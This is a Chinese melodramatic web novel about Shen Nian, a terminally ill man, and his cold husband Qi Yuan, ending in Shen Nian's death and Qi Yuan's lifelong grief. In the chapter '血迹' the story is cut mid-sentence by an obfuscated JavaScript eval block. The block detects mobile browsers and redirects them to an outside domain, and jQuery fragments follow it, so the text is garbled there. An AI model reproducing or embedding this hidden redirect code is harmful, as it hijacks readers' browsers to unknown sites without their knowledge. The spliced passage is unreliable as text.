1.


    医生说我活不过三十岁。


    先天性心脏病，心室缺损，伴随着肺动脉高压。每一次心跳都像是偷来的，每一次呼吸都带着细微的疼痛。


    可我不怕死。


    我怕的是——到死都没能让他多看我一眼。


    2.


    祁远站在落地窗前，修长的手指间夹着一支烟，烟雾缭绕间，他的侧脸冷峻得像一尊雕塑。


    我站在他身后，攥紧了手里的病历单，纸张被我捏得发皱。


    “祁远。”我轻声叫他，声音小得几乎听不见。


    他没回头。


    我深吸一口气，心脏在胸腔里剧烈跳动，疼得让我眼前发黑。


    “我们结婚吧。”


    3.


    空气凝固了一瞬。


    祁远终于转过身，眼神像是看一个疯子。


    “你说什么？”


    我仰头看着他，努力让自己的声音不发抖：“我说，我们结婚。祁氏现在资金链断裂，沈家可以注资，条件是你娶我。”


    他的眼神冷得刺骨。


    “沈念，你疯了吗？”


    我笑了，手指无意识地摩挲着病历单的边缘。


    “是啊，我疯了。”


    4.


    从十八岁那年第一次见到他，我就疯了。


    那是在一场商业晚宴上，他穿着黑色西装，站在人群中央，冷漠又耀眼。我躲在角落里，捂着发疼的胸口，目光却死死黏在他身上。


    他永远不会知道，那天晚上，我偷拍了他的照片，藏在枕头底下，看了整整三年。


    5.


    祁远掐灭了烟，冷笑一声：“你以为用钱就能买到我？”


    我摇摇头：“不是买。”


    ——是赌。


    赌我剩下的这几年，能不能让他施舍给我一点爱。


    6.


    “如果我拒绝呢？”他问。


    我低头看着自己的手指，轻声说：“那祁氏下个月就会破产。”


    这是威胁，也是我唯一能靠近他的方式。


    祁远盯着我，眼神像是要在我身上烧出一个洞。


    良久，他嗤笑一声：“行啊，沈念，你够狠。”


    他走过来，一把掐住我的下巴，逼我抬头看他。


    “但你别指望我会对你好。”


    我眨了眨眼，眼眶发酸，却还是笑了。


    “没关系。”我说。


    我爱你，就够了。


    婚礼


    1.


    婚礼前一天晚上，我吐了血。


    暗红的血渍溅在洗手台的白色瓷壁上，像一朵凋谢的玫瑰。我盯着看了很久，然后打开水龙头，看着水流把它们冲进下水道，消失得干干净净。


    就像我一样。


    2.


    婚礼现场铺满了白玫瑰。


    我穿着定制的白色西装，站在红毯尽头，等着我的新郎。宾客们窃窃私语，眼神里带着怜悯和嘲讽。


    ——看啊，沈家那个病秧子，用钱买来的婚姻。


    没关系。我早就习惯了。


    3.


    祁远迟到了一个小时。


    当他终于出现时，身上带着陌生的香水味，领口有一抹刺眼的口红印。他看都没看我一眼，径直走到牧师面前，冷声道："快点开始。"


    牧师尴尬地看了看我。


    我对他笑了笑："没关系，开始吧。"


    4.


    "祁远先生，你是否愿意..."


    "愿意。"他没等牧师说完就打断，语气不耐烦得像在签一份商业合同。


    轮到我的时候，我深吸一口气，心脏跳得发疼。


    "我愿意。"


    我的声音很轻，但很坚定。


    祁远终于看了我一眼，眼神里带着讥讽。


    5.


    交换戒指的环节，他粗鲁地抓起我的手，把戒指硬生生套进我的无名指。金属卡在指节处，磨得生疼。


    我小心地捧起他的手，把另一枚戒指轻轻推到他修长的无名指上。


    "很适合你。"我小声说。


    他冷笑一声，抽回了手。


    6.


    宴席上，他喝了很多酒，当着所有人的面搂着一个陌生男孩的腰。男孩挑衅地看了我一眼，凑到祁远耳边说了什么，惹得他低笑。


    我坐在主桌，小口吃着厨师特意为我准备的清淡食物。


    "沈少爷，您不去管管？"有人故意问。


    我摇摇头，微笑道："他开心就好。"


    7.


    晚上回到新房，祁远直接去了客房。


    我站在主卧门口，听见里面传来暧昧的声响。那个男孩娇笑着，祁远的声音低沉而温柔——那是我从未听过的语气。


    我蹲在走廊上，捂着绞痛的心脏，等他们结束。


    8.


    凌晨三点，男孩走了。


    我端着醒酒茶，轻轻敲了敲客房的门。


    "滚。"里面传来祁远冰冷的声音。


    我放下茶杯，在门口坐了一夜。


    9.


    天亮时，祁远打开门，看到我蜷缩在门口睡着了。


    他踢了踢我的小腿："装什么可怜？"


    我惊醒，抬头对他露出一个苍白的笑容："早上好，要喝咖啡吗？"


    他盯着我看了很久，突然一把将我拽起来，按在墙上。


    "沈念，"他咬牙切齿地说，"你到底想要什么？"


    我看着他近在咫尺的脸，轻声回答："想要你多看看我。"


    哪怕是用这种厌恶的眼神。


    10.


    他松开我，像是碰到了什么脏东西。


    "神经病。"


    我看着他离去的背影，慢慢滑坐在地上。


    胸口很疼，但分不清是心脏还是别的什么。


    心跳


    1.


    我开始数着日子过。


    医生给我的心脏判了死刑——最多五年，最少两年。我把病历锁在抽屉最底层，像藏起一个肮脏的秘密。


    祁远永远不会知道，每次他用力甩上门时，我都要靠在墙上缓很久，等那一阵尖锐的疼痛过去。


    2.


    今天是我们结婚的第三十七天。


    我起得很早，做了祁远喜欢的培根煎蛋。他下楼时，我正把早餐摆上桌，手指不小心碰到滚烫的盘边，烫红了一片。


    "早。"我对他笑，"咖啡还是橙汁？"


    他看都没看我一眼，拿起外套就往外走。


    "祁远！"我追到门口，"你至少吃一口..."


    门在我面前重重摔上。


    我站在原地，盘子里的煎蛋渐渐冷掉，油渍凝结成难看的黄色。


    3.


    下午我去医院复查。


    "沈先生，您最近心律不齐的情况加重了。"医生皱着眉头看心电图，"必须住院观察。"


    我摇摇头："开点药就行。"


    "您这是在拿生命开玩笑！"


    我笑了笑。反正我的生命，本来就是个笑话。


    4.


    回家的路上，我去买了祁远最爱吃的那家甜品。


    店员笑着问："是买给女朋友的吗？"


    "给爱人。"我说，心脏因为这个称呼而微微发烫。


    虽然他从来不允许我这样叫他。


    5.


    推开家门时，我听见楼上传来暧昧的声音。


    女人的娇笑，床垫的吱呀，还有祁远低沉的喘息。


    我站在楼梯口，手里的甜品袋掉在地上，奶油蛋糕摔得稀烂，像我的心。


    6.


    我蹲在地上，一点一点把蛋糕捡进垃圾桶。奶油黏在手指上，怎么擦都擦不干净。


    楼上的动静停了。


    祁远穿着睡袍走下来，看见我时皱起眉："你怎么在家？"


    "刚回来..."我低着头，不敢看他身上那些暧昧的红痕。


    他冷笑一声："装什么纯情？这不正是你想要的婚姻吗？"


    7.


    胸口突然传来一阵剧痛。


    我猛地抓住衣襟，冷汗瞬间浸透后背。眼前一阵阵发黑，耳边嗡嗡作响，祁远的声音变得很远很远。


    "沈念？沈念！"


    这是我第一次听见他叫我的名字带着惊慌。


    真好。


    我失去意识前，看见他接住了我下坠的身体。


    8.


    醒来时在医院。


    祁远站在窗边抽烟，背影僵硬。


    "你..."我嗓子干得发疼。


    他转身，眼神复杂："为什么不告诉我你有心脏病？"


    我笑了笑："告诉你，你就会爱我吗？"


    他沉默了。


    9.


    医生进来，当着祁远的面宣判我的死刑。


    "如果不进行心脏移植，沈先生最多还有两年时间。"


    祁远的表情瞬间凝固。


    我看着他，轻声说："对不起啊，可能要提前结束我们的婚姻了。"


    10.


    回家的车上，祁远一直没说话。


    快到家时，他突然问："为什么是我？"


    我望着窗外飞逝的景色，轻声回答：


    "因为那天阳光很好，你对我笑了一下。"


    其实他根本没笑过。


    但在我无数个虚构的回忆里，他对我笑过千万次。


    高烧


    1.


    我发高烧了。


    医生说这是心脏衰竭的前兆，免疫系统已经开始崩溃。我躺在主卧的床上，浑身滚烫，却冷得发抖。


    祁远三天没回家了。


    2.


    凌晨两点，我听见楼下传来开门声。


    脚步声很重，还伴随着女人的笑声。我蜷缩在被子里，数着他们上了几级台阶——一、二、三...在第七级的时候，我突然剧烈地咳嗽起来，血腥味涌上喉咙。


    脚步声停住了。


    3.


    "祁总，怎么了？"女人娇声问。


    沉默了几秒。


    "...没事。"


    他们的脚步声继续向上，经过主卧时，我听见祁远说："去客房。"


    4.


    我盯着天花板，听着隔壁传来的声音，突然觉得很可笑。


    这是我的婚房，我的丈夫在隔壁和别人上床，而我躺在这里等死。


    5.


    天快亮时，我爬起来找药。


    光脚踩在地板上像踩在冰刀上，每走一步都疼得钻心。我扶着墙慢慢挪到浴室，却在镜子里看到一个鬼一样的影子——惨白的脸，干裂的嘴唇，眼睛下面两片青黑。


    真丑。难怪他不想看我。


    6.


    药瓶掉在地上，药片撒了一地。


    我跪在地上捡，突然听见身后传来声音："你在干什么？"


    祁远站在浴室门口，衬衫皱巴巴的，身上带着陌生的香水味。


    "吃药。"我低着头继续捡，手指发抖，"吵醒你了？对不起..."


    7.


    他走过来，一把抓住我的手腕。


    我的手冷得像死人，他的掌心却烫得让我战栗。


    "你..."他的声音有点哑，"烧成这样不会叫医生？"


    我抬头看他，突然笑了："你会心疼吗？"


    他猛地松开手，像是被烫到。


    8.


    我摇摇晃晃地站起来，眼前一阵阵发黑。


    "别死在我家里。"他冷冷地说。


    "放心，"我扶着洗手台，"死之前...我会搬出去的。"


    9.


    我昏过去了。


    最后的意识里，我感觉有人抱起了我。那个怀抱很暖，心跳声震耳欲聋。


    一定是幻觉。


    祁远从来不会抱我。


    10.


    再醒来时，我躺在医院的病床上。


    护士说是个陌生男人送我来的，交了十万押金，却连名字都没留。


    我看着窗外发呆，直到护士递给我一张纸条：


    "别死在医院。房租还没到期。"


    字迹凌厉得像刀划出来的。


    我摸着那些字，突然哭了。


    偷窥


    1.


    我发现祁远在偷看我。


    每当我低头喝药时，总能感受到那道视线。可每当我抬头，他就立刻转开脸，仿佛刚才的注视只是我的幻觉。


    就像现在，我坐在花园里晒太阳，他的书房窗帘微微晃动。我知道他站在那里。


    2.


    我开始故意做一些事。


    比如在咳嗽时故意咳得大声些，比如吃药时让药片从指间滑落，比如在沙发上睡着时把毯子踢到地上。


    我想看他会不会走过来。


    他从来没有。


    3.


    今天下暴雨，我站在门口等了他三个小时。


    司机说他在公司加班，但我知道他去了哪里——那个叫林妍的女孩昨天在商场拦住我，给我看了他们昨晚的合照。


    "祁总说最讨厌你这种病恹恹的样子，"她笑得甜美，"他说等你死了就立刻和我结婚。"


    雨水顺着我的头发流进衣领，冷得刺骨。


    4.


    半夜我被雷声惊醒，发现书房亮着灯。


    我光着脚走过去，看见祁远趴在桌上睡着了，面前摊着一堆文件。


    《心脏移植手术风险评估》


    《术后抗排斥治疗方案》


    我的指尖在发抖。


    5.


    他忽然动了动，我慌忙后退，却不小心碰倒了门边的花瓶。


    "谁？"他猛地抬头，眼睛里还有血丝。


    我僵在原地，像个被抓到的小偷。


    "我...我来给你送牛奶。"我举了举手里并不存在的杯子。


    6.


    他盯着我看了很久，突然说："过来。"


    我像被施了咒语一样走过去。


    他抬手，我下意识闭眼——以为他要打我。


    但他的手指只是轻轻擦过我的额头。


    "还在发烧。"他皱眉。


    这个触碰太温柔，温柔得像场梦。我鼻子一酸，差点哭出来。


    7.


    "为什么看这些？"我指着那些文件，声音发抖。


    他收回手，表情又变回冷漠："公司投资医疗项目。"


    "哦。"


    我知道他在说谎。就像我知道，他书桌最下面的抽屉里，锁着我们结婚证的照片——被他用钢笔涂掉的脸，现在被擦得干干净净。


    8.


    "回去睡觉。"他命令道。


    我转身要走，却听见他说："等等。"


    他脱下外套扔给我："穿上。你想病死吗？"


    外套上有他的温度和味道。我把自己裹在里面，像被他拥抱。


    9.


    第二天，我在餐桌上发现了一张便签：


    "晚上七点回家吃饭。"


    字迹潦草，像是犹豫了很久才写下的。


    我把这张纸条折好，放进贴身的钱包里。


    10.


    我做了满桌他爱吃的菜，从六点等到九点。


    十点时，他的秘书打来电话："祁总临时出差，让我通知您别等了。"


    我看着凉透的饭菜，突然笑起来。


    我到底在期待什么呢？


    急诊


    1.


    我在超市晕倒了。


    前一秒还在挑祁远喜欢的咖啡豆，下一秒就栽倒在货架旁。醒来时周围围满了人，有个小女孩吓得直哭。


    "要不要帮您联系家人？"店员紧张地问。


    我摇摇头，自己拨了120。


    2.


    急诊室的灯光惨白得刺眼。


    医生给我打强心针时，我听见门口传来急促的脚步声——那节奏太熟悉，我不用看都知道是谁。


    祁远站在帘子外，影子投在布帘上，轮廓锋利得像刀。


    他没有进来。


    3.


    "病人需要立即住院。"医生提高声音，故意说给外面的人听。


    "不用。"我咬着牙坐起来，"开点药就行。"


    医生叹气："您这样下去会死的。"


    我看向帘外那个一动不动的影子，轻声说："没关系。"


    4.


    拿药时经过抽血室，我鬼使神差地停下脚步。


    登记表最上面赫然写着祁远的名字，日期是昨天。


    O型血。和我的血型一样。


    5.


    回家时祁远已经坐在客厅里，面前摊着文件，假装没在等我。


    "去哪了？"他头也不抬地问。


    "超市。"我把药袋藏到身后。


    他忽然站起来，一把抓住我的手腕。针眼处的淤青无所遁形。


    "又去医院？"他声音发紧。


    我试着抽回手："例行检查而已。"


    他盯着我的眼睛，突然冷笑："沈念，你是不是觉得快死了很光荣？"


    6.


    这句话像刀一样捅进我心里。


    "是啊。"我笑着说，"死了你就能解脱了，多好。"


    他的瞳孔猛地收缩，抓着我的手不自觉地用力，掐得我生疼。


    7.


    电话铃声打破了僵局。


    祁远松开我去接电话，我听见林妍甜腻的声音从听筒里漏出来："祁总，检查结果出来了哦..."


    我转身往楼上走，心脏疼得几乎要炸开。


    8.


    半夜我被疼醒，发现枕头上全是血——我咳血了。


    轻手轻脚去浴室清洗，却听见楼下传来争吵声。


    "...你疯了吗？匹配度只有60%！"是祁远特助的声音。


    "闭嘴。"祁远的声音压得很低，"继续找。"


    "可是您的身体..."


    "我说继续找！"


    9.


    我蹲在楼梯转角，抱着膝盖发抖。


    原来他频繁去医院，是在找配型。


    原来他也会为我着急。


    这个认知比止疼药还管用，我竟然笑着睡着了。


    10.


    清晨我发现自己在卧室床上，身上盖着祁远的西装外套。


    床头柜上放着温水和一个陌生的药瓶。


    瓶身上贴着手写标签："一天两次，不许忘。——R"


    我把药瓶贴在胸口，像捧着稀世珍宝。


    血迹


    1.


    林妍来家里那天，我正在整理祁远的衬衫。


    她直接闯进卧室，把一张孕检报告甩在我脸上。


    "我怀了祁远的孩子，"她笑得张扬，"识相的话自己滚。"


    我低头看报告，纸张在手里微微发抖。


    2.


    "恭喜。"我把报告还给她，"需要我帮你叫他回来吗？"


    她愣住了，显然没料到我是这种反应。


    "你...你不生气？"


    我笑了笑，继续叠衬衫："他开心就好。"


    这句话像捅了马蜂窝，她突然抓起床头的水果刀。


    3.


    "装什么大度！"她尖叫着划过来，"你这种怪物凭什么霸占他！"


    刀锋擦过手臂，血瞬间浸透衣袖。我愣在原地，看着鲜红的血滴在地板上。


    原来我的血还是热的。


    4.


    祁远就是这时候回来的。


    他站在门口，目光从林妍手里的刀，移到我流血的手臂，最后落在那张孕检报告上。


    空气凝固了。


    5.


    "祁总！"林妍扑进他怀里，"他先动手的！"


    祁远没接住她。


    他径直走向我，抓起我的手腕检查伤口。他的手指在发抖，掌心却烫得吓人。


    "去医院。"他声音沙哑。


    我摇摇头："小伤而已。"


    6.


    林妍不可置信地瞪大眼睛："祁总！我怀孕了！"


    祁远终于看了她一眼："打掉。"


    这两个字像冰锥刺进我心脏。我突然觉得反胃——这个冷酷的男人才是我认识的祁远。


    7.


    "骗子！"林妍歇斯底里地哭喊，"你说过等这个病秧子死了就..."


    祁远一把掐住她的脖子："滚出去。"


    我看着这一幕，突然觉得很累。


    "别吵了，"我轻声说，"我搬出去。"


    8.


    收拾行李时，祁远堵在门口。


    "那张报告是假的。"他说。


    我叠衣服的手顿了顿："我知道。"


    "那为什么还要走？"


    我抬头看他，突然发现他眼眶发红。这个发现让我心脏漏跳一拍。


    "因为，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451249|183594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    "我深吸一口气，"我快死了，祁远。"


    9.


    他猛地把我按在衣柜上，呼吸粗重："你不会死。"


    "医生说我..."


    "我说你不会！"他几乎是吼出来的，"我已经找到配型了！"


    我怔住了。


    10.


    下一秒，他做了一件我做梦都不敢想的事——


    他吻了我。


    这个吻又凶又急，带着血腥味和咸涩的泪水。我不知道那是我流的血，还是他流的泪。


    当他的手抚上我后颈时，我突然崩溃大哭。


    "祁远...我疼..."


    分不清是手臂在疼，还是心脏在疼。


    他把我抱得更紧，声音哑得不成样子："我知道...我知道..."


    体温


    1.


    祁远开始睡在主卧。


    不是和我一起睡，而是在床边放了一张躺椅，每晚守着我入睡。我常常在半夜疼醒时，看见他靠在椅背上浅眠，眉头紧锁，手里还攥着心脏监测报告。


    我不敢翻身，怕吵醒他。


    2.


    "吃药。"


    清晨五点，祁远准时递来温水和新换的药片。他的睡衣领口敞着，锁骨上有一道新鲜的疤痕——那是上周做配型检查留下的。


    我盯着那道疤发呆，直到他捏住我的下巴强迫我抬头。


    "看什么？"他语气不善。


    "你瘦了。"我伸手想碰他的脸，又在半路缩回来。


    他抓住我退缩的手，按在自己脸颊上。


    掌心的温度烫得我心尖发颤。


    3.


    林妍的事像一场幻觉。祁远再没提过她，只是某天我偶然发现，他书房的碎纸机里有一张被绞碎的孕检报告。


    伪造的日期和他出差的时间对不上。


    4.


    我开始咳血。


    每次发作，祁远都会立刻把我抱到洗手间，轻轻拍我的背。等我吐完，他用湿毛巾擦净我嘴角的血迹，动作轻柔得像对待易碎品。


    "疼吗？"他低声问。


    我摇摇头，却看见他盯着马桶里的血水，眼眶发红。


    5.


    深夜我被噩梦惊醒，发现祁远正握着我的手睡觉。


    他的手掌宽大温暖，完全包裹住我冰凉的手指。我小心地动了动指尖，他立刻惊醒。


    "怎么了？"他声音带着睡意，却立刻去摸床头的药。


    "没事，"我轻声说，"就是...能不能抱抱我？"


    空气凝固了几秒。


    然后他掀开被子躺进来，将我整个人搂进怀里。


    6.


    他的心跳声震耳欲聋。


    "祁远，"我贴在他胸口问，"为什么突然对我好？"


    他沉默了很久，久到我以为他睡着了。


    "不知道。"最后他说，"就是看见你疼，我这里也疼。"


    他抓着我的手，按在他心口的位置。


    7.


    第二天医生来家里检查，说我的心脏又扩大了。


    "必须尽快手术。"医生严肃地说，"但风险很高..."


    "多少成功率？"祁远打断他。


    "30%。"


    房间里安静得可怕。我看向祁远，发现他脸色惨白，像是被宣判死刑的人是他。


    8.


    医生走后，祁远把我按在沙发上，自己跪在地毯上仰头看我。


    这个姿势让他看起来异常脆弱。


    "沈念，"他声音发抖，"我们不做手术了。"


    我笑了："那我真的会死哦。"


    他猛地抱住我的腰，脸埋在我膝头。


    我感觉到有温热的液体浸透了我的睡裤。


    9.


    那天晚上，我发现祁远在书房偷偷看手术同意书。


    他盯着"死亡风险"那一栏，手指在纸上掐出深深的痕迹。


    我站在门外，心脏疼得厉害。


    原来被人在乎的感觉，比病痛还要折磨。


    10.


    半夜我发起高烧，迷迷糊糊感觉有人把我抱起来。


    "去医院..."我听见祁远在打电话，声音嘶哑，"现在！立刻！"


    我抓着他的衣领摇头："不去...不做手术..."


    他把我搂得更紧，声音里带着我从未听过的哀求："念念，别闹..."


    这是他第一次叫我念念。


    我忽然觉得，就这样死在他怀里也不错。


    手术灯


    1.


    手术同意书摆在面前时，我的手抖得签不了字。


    祁远从背后握住我的手，带着我一笔一划写下"沈念"。他的胸膛贴着我后背，心跳快得不像话。


    "我陪你。"他把下巴搁在我发顶，声音哑得厉害。


    我知道他在说谎。手术室那么冷的地方，他怎么陪我去。


    2.


    护士来给我剃头发。


    镜子里的人瘦得脱相，头皮上还有上次晕倒摔的淤青。祁远站在后面看着，突然转身出去了。


    我听见走廊传来砸墙的声音。


    3.


    换手术服时，我发现口袋里藏着一张纸条：


    [你要是敢死，我明天就娶别人。]


    字迹潦草得像在发抖。


    我把纸条折好，贴在心跳最疼的位置。


    4.


    推往手术室的走廊好长啊。


    头顶的灯光一格一格掠过，像倒数的生命。祁远握着推床栏杆的手青筋暴起，指节发白。


    "祁远。"我轻声叫他。


    他立刻弯腰凑近，额头抵着我的："嗯？"


    "我抽屉里......有写给你的信。"我喘了口气，"要是......"


    "闭嘴！"他猛地打断我，眼睛通红，"你自己出来看！"


    5.


    手术室的门就在眼前。


    医生拦住祁远："家属止步。"


    他突然抓住我的推床不放，像个无理取闹的孩子："再等一分钟......就一分钟......"


    所有人都愣住了。


    从来冷静自持的祁总，此刻狼狈得不成样子。


    6.


    他俯身抱我，手臂抖得厉害："沈念，你听着......"


    "我知道。"我打断他，伸手摸他湿润的脸颊，"我都知道。"


    其实他不知道。


    我早就发现书房抽屉里的器官捐献协议，日期是我们结婚前三个月。


    7.


    麻醉剂推进血管时，我死死盯着手术灯。


    那光芒刺眼得像某个阳光很好的下午，十八岁的祁远站在演讲台上，而我躲在礼堂最后一排，捂着发疼的胸口偷偷看他。


    要是能回到那时候该多好。


    我一定......


    一定......


    8.


    黑暗吞噬意识的最后一刻，我听见有人崩溃地喊我的名字。


    声音很远，又很近。


    像告别。


    像重逢。


    白头


    1.


    手术灯太亮了。


    我眯着眼睛，看见医生们模糊的影子在头顶晃动。麻醉剂让我浑身发冷，意识像浸在冰水里的墨，一点点化开。


    忽然很想再看祁远一眼。


    但我知道他进不来。


    2.


    心脏监测仪发出尖锐的警报。


    "血压骤降！"


    "准备电击！"


    身体被重重弹起，又落下。奇怪的是，我一点也不疼。


    原来死亡是这样的——像一片雪落在掌心，还来不及握紧，就化了。


    3.


    我飘在天花板上，看见自己的躯体躺在手术台上，苍白得像张纸。


    祁远突然冲了进来。


    他跪在手术台边，抓着我的手贴在自己脸上。他的手抖得那么厉害，把我的手指都带得颤动起来，仿佛还活着。


    "沈念......"他声音哑得不成样子，"你答应过......"


    答应过什么呢？


    我想不起来了。


    4.


    我的信被翻出来了。


    365封，整整齐齐码在卧室地毯上。祁远坐在这片纸海里，一封一封地读。


    他读到我写：[今天你多看了我一眼，我高兴得少吃了一顿药。]


    读到我写：[要是能死在春天就好了，你最喜欢春天。]


    读到我最后一封信：[别难过，我这一生虽然短，但全都用来爱你了。]


    他的眼泪砸在信纸上，晕开了墨迹。


    5.


    葬礼那天下了很大的雪。


    祁远穿着我给他买的黑色大衣，胸前别着我生前最爱的白玫瑰。所有人都走了之后，他仍然站在墓前，肩头积了厚厚的雪。


    像一夜白头。


    6.


    我在书房抽屉里发现了一份遗嘱。


    祁远把名下所有财产都转给了我——尽管我已经用不上了。


    最后一页写着：[若你先走，所有资产捐赠给心脏病研究中心，以沈念命名。]


    日期是我们结婚前一天。


    7.


    祁远开始失眠。


    他睡在我常躺的那侧床边，抱着我的枕头，像抱着我一样。有时半夜醒来，他会下意识去探我的鼻息，然后对着空荡荡的床铺发呆到天亮。


    我的药还摆在床头，他每天都会擦一遍灰尘。


    8.


    春天来了。


    祁远坐在阳台上，看着我们曾经一起挑的那两把摇椅。


    他手里攥着一张泛黄的相片——十八岁的我躲在礼堂角落，偷偷拍下演讲台上的他。


    原来他知道。


    原来他一直都知道。


    9.


    我的墓碑前总是有新鲜的白玫瑰。


    祁远每次来都会带两把伞，一把给自己，一把给我。


    "怕你淋雨。"他轻声说，手指抚过冰冷的石碑，就像曾经抚摸我发烫的脸颊。


    10.


    很久以后的一个雪夜，祁远在摇椅上安静地闭上了眼睛。


    他的怀里抱着我的骨灰盒，和我们那本厚厚的相册。


    第一页写着：[祁远&沈念，白头偕老。]


    他终于兑现了承诺。


    [正文完]